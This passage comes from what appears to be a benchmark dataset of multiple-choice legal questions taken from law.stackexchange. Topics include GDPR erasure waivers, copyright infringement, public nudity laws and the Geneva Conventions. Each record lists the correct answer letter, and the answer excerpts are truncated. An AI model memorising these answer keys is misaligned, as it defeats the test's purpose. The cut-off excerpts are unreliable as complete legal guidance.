Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct...", "C": "The original 1913 Revenue Act only required the reporting of income from \"lawful\" sources. In the 1921 Revenue Act the word, \"lawful\" was removed requiring all income to be reported. [IRS Publication 17] states: Illegal activities. Income from illegal activities, such as money from dealing illegal drugs, must be included in your income on Form 1040, line 21, or on Schedule C or Schedule C-EZ (Form 1040) if from your self-employment activity. In United States v. Sullivan in 1927, the U.S. Supreme Court ruled that it was constitutional to require that a tax return be filed to report income. If...", "D": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/31368/how-does-the-mandate-to-report-income-from-illegal-activities-in-the-us-jibe-wit"} {"id": "law_28856", "domain": "law", "question_title": "Is requesting waiving the right to deletion of contributions against GDPR?", "question_body": "I just got one of those GDPR mails from gitlab.com, which pointed me to a Web page where I had to accept some terms and conditions. The same as everywhere, except this passage: (For GitLab Contributors Only) As part of my voluntary contribution to any GitLab project, I acknowledge and agree that my name and email address will become embedded and part of the code, which may be publicly available. I understand the removal of this information would be impermissibly destructive to the project and the interests of all those who contribute, utilize, and benefit from it. Therefore, in consideration of my participation in any project, I hereby waive any right to request any erasure, removal, or rectification of this information under any applicable privacy or other law and acknowledge and understand that providing this information is a requirement under the agreement to contribute to the GitLab project. As far as I understood GDPR, this passage is just plain bullocks and they're trying to get away with arguably the most difficult bit of GDPR, especially if you consider their argument. I can feel their pain, but it also just doesn't feel like this is made possible by GDPR and if GitLab would deny or not completely fulfil such a deletion request, it would be liable to litigation. Am I correct in this? Note: I'm not trying to put GitLab in a bad spot here, they're just the first (only?) ones that included this kind of passage in their agreement.", "question_score": 51, "question_tags": ["privacy", "gdpr"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "C": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "D": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/28856/is-requesting-waiving-the-right-to-deletion-of-contributions-against-gdpr"} {"id": "law_84554", "domain": "law", "question_title": "Why do lawyers write contracts with language that is more difficult to understand than other works?", "question_body": "The recent Ig Nobel Prize Winning work \"Poor writing, not specialized concepts, drives processing difficulty in legal language\" by Martínez, Mollica, and Gibson demonstrates that contracts are written in language that is harder to understand than other genres such as academic or media writing. In particular, center-embedded clauses are used at more than twice the rate in contracts than in other professional writing except newspapers, lead to long-distance syntactic dependencies and are recalled and comprehended at lower rates than excerpts without these clauses. Why is this? One would have thought that making contracts understandable to the parties would generally be in everyone best interest, but it is possible to imagine situations where this is not the case. Abstract of the paper: Despite their ever-increasing presence in everyday life, contracts remain notoriously inaccessible to laypeople. Why? Here, a corpus analysis (n ≈10 million words) revealed that contracts contain startlingly high proportions of certain difficult-to-process features–including low-frequency jargon, center-embedded clauses (leading to long-distance syntactic dependencies), passive voice structures, and non-standard capitalization–relative to nine other baseline genres of written and spoken English. Two experiments (N=184) further revealed that excerpts containing these features were recalled and comprehended at lower rates than excerpts without these features, even for experienced readers, and that center-embedded clauses inhibited recall more-so than other features. These findings (a) undermine the specialized concepts account of legal theory, according to which law is a system built upon expert knowledge of technical concepts; (b) suggest such processing difficulties result largely from working-memory limitations imposed by long-distance syntactic dependencies (i.e., poor writing) as opposed to a mere lack of specialized legal knowledge; and (c) suggest editing out problematic features of legal texts would be tractable and beneficial for society at-large. Comparison of indices of linguistic processing difficulty in contracts versus various genres of written and spoken English. Effect of text register (legalese vs simple) on comprehension accuracy in the main experiment (i) and replication study (ii), and recall of legal content in the main study (iii). Effect of language experience (measured using Author Recognition Task) on comprehension accuracy (iv). Posterior distribution over logistic regression coefficients reflecting the influence of condition and each surface property on recall (v). Negative coefficient values reflect a decrease in recall performance.", "question_score": 51, "question_tags": ["contract-law", "lawyer", "legal-writing"], "choices": {"A": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "B": "There Is Little Pressure To Improve Contract Drafting One piece of the puzzle is tradition and habitual writing style. A customary writing style for legal documents evolved over time, some of those conventions have evolved overtime (e.g. \"Party of the first part, party of the second part\"), others have not. Archaic vocabulary is slowly being weeded out, but again, it is almost never the goal of someone drafting a contract to reduce the reading level of the document. As long as the judge, or other lawyers, know what it means, it is an aesthetic stylistic issue more than it is...", "C": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "D": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/84554/why-do-lawyers-write-contracts-with-language-that-is-more-difficult-to-understan"} {"id": "law_16673", "domain": "law", "question_title": "Why is the structure of the US Code so poor? (And would it even be legal to reorganize it?)", "question_body": "In the process of researching the legality of coil guns in Massachusetts (University engineering project), I stumbled across Cornell's Legal Information Institute, which offers what appears to be a complete rendition of the entire United States Code, and decided to do a little exploring. While I learned a lot of interesting tidbits of information perusing the U.S.C., I was amazed at how poorly it was structured. I know politics is sticky business, and not everything is going to be clean, but what I saw struck me as exceptionally bad. In software design, there's a widely used phrase to describe certain particularly jumbled programs: spaghetti code. This term can be applied to programs which have poor data structure designs, are poorly organized, or simply just don't make logical sense in terms of the way they are laid out. The name comes from how these attributes can be applied to a bowl of spaghetti; it's jumbled and tangled together, and you would be required to really dig deep to find, say, the two ends of a single strand. As someone who is very active in open-source programming, a development style that fundamentally breeds spaghetti code, my first reaction upon seeing the U.S.C. in its entirety was, \"Oh my god, this is spaghetti code.\" The organization is so horribly jumbled. For example, in regards to the Titles, why would topics that sound so incredibly broad, such as Title 6 - Domestic Security, and Title 12 - Banks and Banking, be in the same structural level as Title 23 - Highways, or Title 24 - Hospitals and Asylums? Why do we have Title 14 - Coast Guard and Title 32 - National Guard when there is Title 10 - Armed Forces? The Coast Guard and the National Guard are clearly both a subset of the Armed Forces. Why is a \"machine gun\" defined under Title 26 - Internal Revenue Code, when every single other type of firearm seems to be defined under Title 18 - Crimes and Criminal Procedure? It's not as if Title 26 is redefining a machine gun for the purpose of tax law; Title 18 actually states something along the lines of \"Machine gun, as defined in Title 26 / Section etc etc\". I could go on and on about the various inconsistencies that I see in regards to how the U.S.C. is structured. Maybe I see it as more of a problem due to my involvement in software development, a field in which structure is paramount to success, but this just doesn't sit right with me. That leads me to my questions (finally): 1. Are there any underlying reasons behind the nonsensical structure of U.S.C. titles? Is it simply a case of \"This is how it's been for awhile, don't fix what isn't broken.\" or is there more to it than that? 2. Pretend that over the next few election cycles, a super majority of software engineers and computer scientists are elected to the House and Senate. These people take structure very seriously, and they are very unhappy with the structure of the U.S.C. Barring the even more ridiculous case of Congress repealing everything and passing the exact same laws again, just under different Titles/Chapters/etc, would it be possible for Congress to arbitrarily merge, combine, and delete Titles, and to rearrange the location of laws, definitions, etc? Are there laws/regulations governing this?", "question_score": 50, "question_tags": ["united-states", "legal-history", "legal-writing"], "choices": {"A": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "B": "Are there any underlying reasons behind the nonsensical structure of U.S.C. titles? Is it simply a case of \"This is how it's been for awhile, don't fix what isn't broken.\" or is there more to it than that? First of all, the United States Code is generally not designed to be used by non-lawyers. Second, one of the main ways to research case law interpreting a statute is by doing a boolean search on the code section of that statute. Every time you change a title or section number, you impair the ability of people doing legal research (both judges...", "C": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission...", "D": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/16673/why-is-the-structure-of-the-us-code-so-poor-and-would-it-even-be-legal-to-reor"} {"id": "law_41742", "domain": "law", "question_title": "How come the nude protesters were not arrested?", "question_body": "I read today about the Anti-Censorship Activists in New York (Warning! NSFW pictures inside link) who protested against Facebook while being totally nude out in the street. I'm also pretty sure public nudity is not allowed in the USA. How come they were not arrested or at least warned by police? Is there some exception to the law?", "question_score": 50, "question_tags": ["united-states", "protest"], "choices": {"A": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "B": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "C": "A \"land contract\" is not a way of renting property, it is a way of purchasing property on an installment basis without bank financing. It is Ohio's version of what in some other places is known as \"contract for deed\". See \"What is a Land Contract in Ohio\" and \"How Land Contracts Work\" The actual law is Section 5313 . In a land contract, the buyer has equitable but not legal title. The buyer normally pays all taxes and fees, and is responsible for maintaining the property, just as if s/he has bought the property. But if the buyer defaults,...", "D": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/41742/how-come-the-nude-protesters-were-not-arrested"} {"id": "law_2163", "domain": "law", "question_title": "How is it possible for millions to use pirated software at home and never get arrested?", "question_body": "It's not like talking about using weeds that you tell your friends about but you don't go in public shouting about it. Instead people go to online forums sometimes posting with their real names- bragging about using pirated software. What is exactly stopping the police from having them arrested?", "question_score": 49, "question_tags": ["copyright"], "choices": {"A": "You're allowed to make backups of copyrighted software, as long as you are authorized to use the software, the backups are not distributed, and they are destroyed when/if you are no longer authorized to use the software. 17 USC §117(a): (a) Making of Additional Copy or Adaptation by Owner of Copy. -- Notwithstanding the provisions of section 106, it is not an infringement for the owner of a copy of a computer program to make or authorize the making of another copy or adaptation of that computer program provided: (1) ...(not very helpful)...or (2) that such new copy or adaptation...", "B": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "C": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "D": "Civil law instead of criminal law Not all things that we commonly refer to as \"illegal\" are actually crimes - many of them refer to violations of contracts or other obligations where the harmed party may (or may not) use the civil system to obtain some satisfaction, but the government and prosecutors will not do it for them. In general (with some exceptions, depends on jurisdiction and circumstances), most low scale copyright violations are treated as a civil matter - it allows the harmed party (i.e. the copyright owner) to sue you for damages in a civil court, if they..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/2163/how-is-it-possible-for-millions-to-use-pirated-software-at-home-and-never-get-ar"} {"id": "law_37252", "domain": "law", "question_title": "Is it illegal to infringe copyright if your boss or your client ordered you to do it?", "question_body": "The first possible scenario is this: suppose you work in a company, and you need to install some software for a client. The software needs to be purchased, but the boss tells you to just download it for free illegally (infringing copyright). You tell your boss that of course that's illegal and it's not the best way to do the job, but they tell you: \"I know, but who cares, just download it for free\". If you did it, who would be responsible for the illegal download in this situation? If you are responsible, how should you deal with such a situation? The second possible scenario is this: suppose you are a freelance software developer, and your client asks you to install a thing for them. They give you a link to an unofficial website where you can download the stuff for free (illegally). You tell them it's illegal, and the stuff should be purchased. They tell you: \"Who cares, I'm not going to spend any money for purchasing it, your job is just to do exactly what I've told you, that is, just install it, and that's it\". Again who would be responsible and how should you deal with this situation? Of course here there's always the option to not accept the job since you are a freelancer, but I also wonder if there are other options in theory. For example, maybe the client could download the software illegally themself, and then only give it to you for the installation? Location of the scenarios: any States of United States or any Member States of the European Union, but only one jurisdiction at a time.", "question_score": 49, "question_tags": ["united-states", "copyright", "european-union", "liability", "workplace"], "choices": {"A": "You don't know. You can't know. And you can't force the officer to tell you. Detention Status As a practical matter, you have no way of knowing if you are compelled to follow an officer's order because you are being detained unless the officer volunteers that information (your detention status) which they are not compelled to disclose and have every incentive not to disclose. Consider the situation when the officer does not have reasonable suspicion do detain you. If the officer instantly informs you that you are \"free to go\" then you are likely to leave and end the encounter...", "B": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission...", "C": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "D": "There are two parts to copyright liability: civil and criminal. TL;DR: both cases are criminal offences, and it is illegal to break the law even when you are paid to do it. In the USA criminal copyright infringement requires a deliberate act to infringe copyright for commercial gain. Both of the scenarios meet these requirements. In the UK (and probably the rest of Europe) criminal copyright infringement includes possess in the course of a business an article which is, and which you know or have reason to believe is an infringing copy of a copyright work with a view to..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/37252/is-it-illegal-to-infringe-copyright-if-your-boss-or-your-client-ordered-you-to-d"} {"id": "law_49002", "domain": "law", "question_title": "Can I ask a cop, "What happened?"", "question_body": "Around 10pm, I see red and blue lights through my window. I look outside, and I see 7 cop cars (and a bike) in front of my house. There are 8 cops standing around in a circle, laughing -- I'm concerned because I bought this (my first) home only months ago. I go out and from a distance have the following dialogue: me: \"Is everything okay?\" cop1: \"It's okay, was just a shark attack.\" me: \"What?\" cop2: \"We caught the bad guy.\" And they turned back around to their group, barring me from further conversation. Did I just have a run-in with an arrogant group of officers, or am I in the wrong here? Can I legally pursue the question of \"Hey, what's happening here?\" Are they not required to inform me if I ask? Edit: I live in west Florida, if that's relevant. I could see it possibly being based on local laws?", "question_score": 49, "question_tags": ["united-states", "police", "florida"], "choices": {"A": "You are allowed to ask the police whatever questions you like. There is an upper limit that you can't refuse to obey a lawful order on the premise that you want to ask a bunch of questions, but they don't seem to have ordered you to do anything, so you can ask away. They have no obligation to tell you anything or to be truthful, except for certain questions like \"am I free to go\" when you want to leave and are testing whether you are under arrest. Even then they don't have to answer your questions right away. The...", "B": "As stated, this is not a reasonable restriction and runs afoul of the Fair Housing Act . You cannot discriminate based on family status, with an exemption for \" housing for older persons \", and the act \"does not limit the applicability of reasonable local, state, or federal restrictions regarding the maximum number of occupants permitted to occupy a dwelling\" (let's leave aside HOA restrictions for a moment). The number of occupants can legally be restricted in terms of a reasonable relation to a legitimate interest such as parking availability, safety, noise or securing the property. A restriction based on...", "C": "The article says: Defense lawyers say the evidence does not show a celebration of violence. Which implies that the prosecution claimed exactly that, or at least that the defense anticipates the prosecution to claim something along those lines. The article also says [ bold italic emphasis mine]: Defense lawyers for Rhodes have previously addressed the dinner, saying that prosecutors’ theory of the episode is incorrect. Rhodes’ lawyers said in a court filing the dinner is evidence that the militia leader wasn’t working to foment a revolution . “ The conditions would never be better . Yet, Rhodes and the others...", "D": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/49002/can-i-ask-a-cop-what-happened"} {"id": "law_83710", "domain": "law", "question_title": "At what point is uploading a movie with heavy compression not copyright infringement?", "question_body": "My friend recently linked me a GIF of the entire Shrek movie in 60x60 resolution . At the time of writing this, it has 12 million views on imgur. This got me thinking, could a copyright holder technically sue over the uploading of this GIF? I'm guessing yes, because it's still barely legible. But at what point are they not allowed to do so? Surely they can't claim intellectual property over one pixel shifting to specific colors for 90 minutes, for example? How about 2x2? Etc. I read What considerations determine copyright infringement? which to me makes it seem like they COULD sue over the one pixel shifting colors for 90 minutes, because I did copy and modify the movie. Is that really true? I also read How similar should a tune be to constitute theft of someone else's tune? which states that it depends a lot on the case since there are so many variables. Is that also true in this case? I imagine songs work very different from movies. Looking for both US or EU answers.", "question_score": 49, "question_tags": ["united-states", "copyright", "intellectual-property", "internet", "european-union"], "choices": {"A": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "B": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone...", "C": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "D": "A few years ago, there was a trial in the USA about some short sound on some music CD: One party claimed that one piece of music on the CD contained a sound of less than one second length which is copied from another CD without the permission of the copyright owner of the other CD. It could never be found out if this claim was really true. The court's decision was: If it is not possible to distinguish between a copy and a work that does not depend on the other work at all, it is not a copyright..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/83710/at-what-point-is-uploading-a-movie-with-heavy-compression-not-copyright-infringe"} {"id": "law_85191", "domain": "law", "question_title": "Why are Russian combatants in Ukraine considered soldiers rather than terrorists?", "question_body": "The question bothers me since February 2022. Why (legally) are Russian combatants in Ukraine considered soldiers (thus POWs when captured) rather than terrorists? There is no formal declaration of war. They are members an organization (Russian military) that commits acts of terrors to civilian population in clear violation of international law of war. Moreover, they either directly or indirectly contribute to the mentioned acts of terror. Their state (Russia) explicitly claims that there is no war (thus unilaterally waiving the protection of law of war for Russian forces). Why is that particular group of armed people acting in clear violation of Ukrainian law treated as \"soldiers in war\" rather than state-sponsored criminals? Note, that waiving the protection of law of war does not waive the protection of Ukrainian law (right to due process etc.).", "question_score": 49, "question_tags": ["international", "laws-of-war", "russia", "ukraine", "terrorism"], "choices": {"A": "Virginia employer terminated employee and wants signing bonus returned Can the employer legally keep his last check and send the employee a bill for the remainder ? No, unless (1) the employee resigned and (2) his resignation does not amount to constructive termination . The employer may withhold the remaining $7,000 only if the employee did not meet the condition of \" 30 days of employment with xxxxx \". Absent any language to the contrary, the requirement of \" 1-year commitment \" is to be construed as the consideration expected from the employee (namely, \" not to quit \") in...", "B": "Why it is considered as terrorism to murder a CEO? It's not, as such. That is, CEOs do not have special status under New York or Federal law that would inherently make murdering them terroristic. Brian Thompson having been a CEO is not directly relevant to Mangione being charged with terrorism. I doubt that many people are intimidated or frightened by the murderer of the CEO, let alone an intention to influence policy or conduct of the government. I think your doubt is misplaced, but it is in any case irrelevant whether Mangione's alleged actions were effective in intimidating or...", "C": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "D": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/85191/why-are-russian-combatants-in-ukraine-considered-soldiers-rather-than-terrorists"} {"id": "law_42930", "domain": "law", "question_title": "Can a Resident Assistant be told to ignore a lawful order?'", "question_body": "Today I have an interesting question involving Police, Fire and university administration. A little bit of background: for the past few years, my University has been involved in a small, awkward cold war with local emergency responders over expectations on live-in Residential Assistants during emergency situations. Specifically, the biggest flashpoints are fire alarms and wellness checks on residents. Within the dorms, we have been told that both Campus Police and Local Fire Departments have been provided keys to all rooms in case an emergency (fire or safety) is reported. We have also been told that we are, under no circumstances , to assist Police or Fire with entering a room (to which we have keys as Resident Assistants, for lockouts and the like) until we have received permission from several layers of (on-call) department administration. The heads of the Residential Services Office insist that this is to protect the department in the case of a privacy complaint on behalf of a resident who we let police into the room of, and to avoid liability from ordering (by policy) RAs back into a potentially dangerous building under alarm. Police and fire, meanwhile, never seem to have the keys. Thus, for the safety of the building or the resident, they will order us to open up the door for them, right now. Which brings us to the issue: Police/fire wants us to open a door, and gives us what I believe is a lawful order do so. Meanwhile, Residence Life policy wants us to call up to our supervisor and follow a whole procedure, directly countermanding the orders of the officer or firefighter on scene. Must I open the door, legally speaking? And is my department's policy of refusal illegal/unenforceable?", "question_score": 48, "question_tags": ["united-states", "police", "ohio", "emergencies"], "choices": {"A": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "B": "There is a state law that requires you to obey the police: ORC 2917.13 , which says you may not Fail to obey the lawful order of any law enforcement officer engaged in the law enforcement officer's duties at the scene of or in connection with a fire, accident, disaster, riot, or emergency of any kind. If you do, misconduct at an emergency is a misdemeanor of the fourth degree. If a violation of this section creates a risk of physical harm to persons or property, misconduct at an emergency is a misdemeanor of the first degree. You also cannot...", "C": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "D": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/42930/can-a-resident-assistant-be-told-to-ignore-a-lawful-order"} {"id": "law_247", "domain": "law", "question_title": "What are the legal repercussions of taking a stranger's picture in public?", "question_body": "With Snapchat and Instagram it is all too easy to abuse picture taking and really inexpensive to snap a photo of an unknowing stranger. If you are in public and will only post pictures online without their permission, can the victim take legal action against you? What would be the effect on the photo taker? Will there be punishment for the host company (if it encourages this type of behavior)?", "question_score": 47, "question_tags": ["united-states", "privacy", "right-of-publicity", "photography"], "choices": {"A": "In order to accommodate various objections that have arisen in recent generations, in general: You are allowed to \"affirm\" instead of \"swear\" You do not have to say \"so help me God\" You do not have to place your hand on a Bible or any object These variances are often allowed by statute. A witnessed \"solemn affirmation\" has the same legal consequences as the traditional swearing on a Bible: I.e., you would be held to the same statutes and rules that apply to sworn statements.", "B": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "C": "In the United States, You have no expectation of privacy in public . Anything you can see from a public place, you can take a picture of, even if the \"victim\" is in their own home but has the blinds open. If you are standing on a public sidewalk or street, you would legally be able to take a picture with certain exceptions. An exception to this would be: if with just your eyes you can see into a private home, you can take a picture of that, but if you require a telescopic lense with some sort of IR...", "D": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) 